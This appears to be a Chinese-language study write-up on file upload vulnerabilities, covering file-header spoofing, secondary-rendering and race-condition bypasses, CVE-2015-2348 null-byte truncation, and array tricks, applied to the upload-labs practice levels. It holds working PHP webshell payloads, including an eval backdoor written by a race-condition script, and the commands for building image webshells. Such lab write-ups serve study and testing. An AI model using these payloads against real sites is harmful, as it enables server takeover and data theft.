WEB漏洞-文件上传之内容逻辑数组绕过

WEB漏洞-文件上传.png

知识汇总

文件头检测

文件头检查是指当浏览器上传到服务器的时候,白名单进行的文件头检测,符合,则允许上传,否则不允许上传

逻辑安全-二次渲染

二次渲染:分两步,先把文件上传服务器,服务器将这个文件进行保存或删除(上传的时候下面有保存和上传的按钮)phpcms中常有,二次渲染的绕过用gif文件比较好绕,因为格式要求不是很严格,png和jpg文件要求格式很严格,PNG定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块,另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。关键数据块定义了4个标准数据块,每个PNG文件都必须包含它们,PNG读写软件也都必须要支持这些数据块

逻辑安全-条件竞争

条件竞争:文件上传到服务器的过程中,由于逻辑漏洞,让文件先保存在目录,再进行逻辑验证,在服务器验证之前,文件会有短暂的一瞬间处于可以被调用的状态,在这一瞬间资源被占用时候,无法删除进行其他操作,在读取时,无法进行命名操作,无法rename等后续操作,所以PHP文件就上传成功了

目录命名-xxx.php/.

以文件夹名的突破方式绕过后缀的限制同时在最终代码执行结果会保存为php文件

image.png

数组接受-目录命名

查看源码后,在文件上传过程中,可以在前端表单伪造数组来控制上传代码中的逻辑判断

QQ截图20220112100821.jpg

image (2).png

脚本函数漏洞-CVE-2015-2348

20210413200509.png

通常情况下,PHP的开发者会对文件用户上传的文件的类型、文件大小、文件名后缀等进行严格的检查来限制恶意的PHP脚本文件的上传漏洞的产生,但是攻击者有时候可以结合语言的特性以及多种绕过方法来实现文件的上传漏洞。 该CVE漏洞的产生就是由于PHP的move_uploaded_file()函数存在逻辑缺陷所致,这个函数一般在文件上传时被调用

move_uploaded_file(string $filename, string $destination): bool

这次的漏洞就出现在参数$destination,这个参数的是将用户上传的文件移动到最终的目的地址。如果$destionation变量是从用户$_GET或者$_POST中获取的并且我们可控,那么我们就可以利用空字符\00来截断后面的拓展名,从而造成任意文件上传

涉及资源

upload-labs演示案例

Pass-14(文件头检测)

对于上传的图片只检查文件头,伪造最方便的就是gif格式,查看源码发现,gif验证的是7173对应assic码的值就是GI,gif格式图片开头通常以GIF89a,所以用以下内容的gif格式文件上传就能通过

GIF89a
<?php phpinfo();?>

QQ截图20220112102633.jpg

QQ截图20220112102721.jpg

Pass-15(突破getimagesize)

与14关类似,上传同个图片马就可以通过

QQ截图20220112103452.jpg

QQ截图20220112103456.jpg

Pass-16(突破exif-imagetype)

与14关类似,上传同个图片马就可以通过

QQ截图20220112103623.jpg

QQ截图20220112103636.jpg

Pass-17(二次渲染)

查看源码后根据网上的方法,准备一个gif图片制作绕过二次渲染的图片马,使用命令copy 原文件.gif/b + phpinfo1.php/a 图片马.gif生成图片马,且生成的图片要保证可以正常访问

// phpinfo1.php内容
<?php phpinfo();?>

QQ截图20220112141420.jpg

QQ截图20220112141554.jpg

上传图片,获得渲染后的图片,对比上传前的图片马

QQ截图20220112142016.jpg

再次上传文件,验证绕过成功

QQ截图20220112142045.jpg

Pass-18

不断上传文件,在文件还没被删除前去读取文件,若上传内容为<?php fputs(fopen('shell.php','w'),'<?php @eval($_REQUREST[777])?>');?>,则还没被删除前去读取文件,解析之后会写入一个内容为<?php @eval($_REQUREST[777])?>shell.php文件。使用BurpSuite的Intruder不断上传文件并不断访问所上传的文件。注:"pass"一定要双引号,不然单引号之间乱了

<?php fputs(fopen('shell.php','w'),'<?php @eval($_REQUREST[777])?>');?>

使用burp的Intruder进行上传文件和调用上传的文件,上传和调用的操作需要同时进行

QQ截图20220112145004.jpg

QQ截图20220112144958.jpg

查看上传结果

QQ截图20220112145048.jpg

QQ截图20220112145056.jpg

QQ截图20220112145105.jpg

Pass-19

在这关是一个白名单,利用了appche的一个解析漏洞,它会将 .php.7z 当作php来解析,而刚好.php.7z又属于白名单,所以上传一个.php.7z的文件,然后 再利用条件竞争漏洞进行多线程不断的发送.php.7z的文件,尝试多次不成功以后,就输出源码进行查看,发现新版的输出以后发现是作者漏了一个/导致上传地址出现问题

QQ截图20220112152532.jpg

将错就错,使用burp进行尝试

QQ截图20220112153023.jpg

QQ截图20220112153018.jpg

使用菜刀进行连接

QQ截图20220112153650.jpg

QQ截图20220112153655.jpg

Pass-20(黑名单点号绕过)

由于上传路径可控,所以在这个pass中有很多方法可以绕过这个黑名单,例如.绕过,或者大小写(linux可用),/.绕过

QQ截图20220112154718.jpg

大小写绕过

QQ截图20220112154748.jpg

其他绕过方式,经过尝试都可以通过

QQ截图20220112155436.jpg

QQ截图20220112155443.jpg

Pass-21(数组绕过)

绕过MIMIE,改一下包的Content-Type,为了绕过explode()函数,需要传入数组,绕过白名单,由于取的是end()也就是数组最后一个,需要传入数组的最后一个为jpg|png|gif,最后是拼接文件名,取的是reset()第一个,即索引为0,和索引count()-1(数组内元素个数-1)。所以令索引0为1.php,索引2为jpg(只要是索引1之后都可),这样数组元素个数为2,拼接的就是索引0和索引1,也就是1.php和空,结果还是1.php,这样就可以使得拼接后的文件名为1.php

QQ截图20220112160102.jpg

QQ截图20220112160628.jpg

QQ截图20220112160632.jpg

QQ截图20220112160640.jpg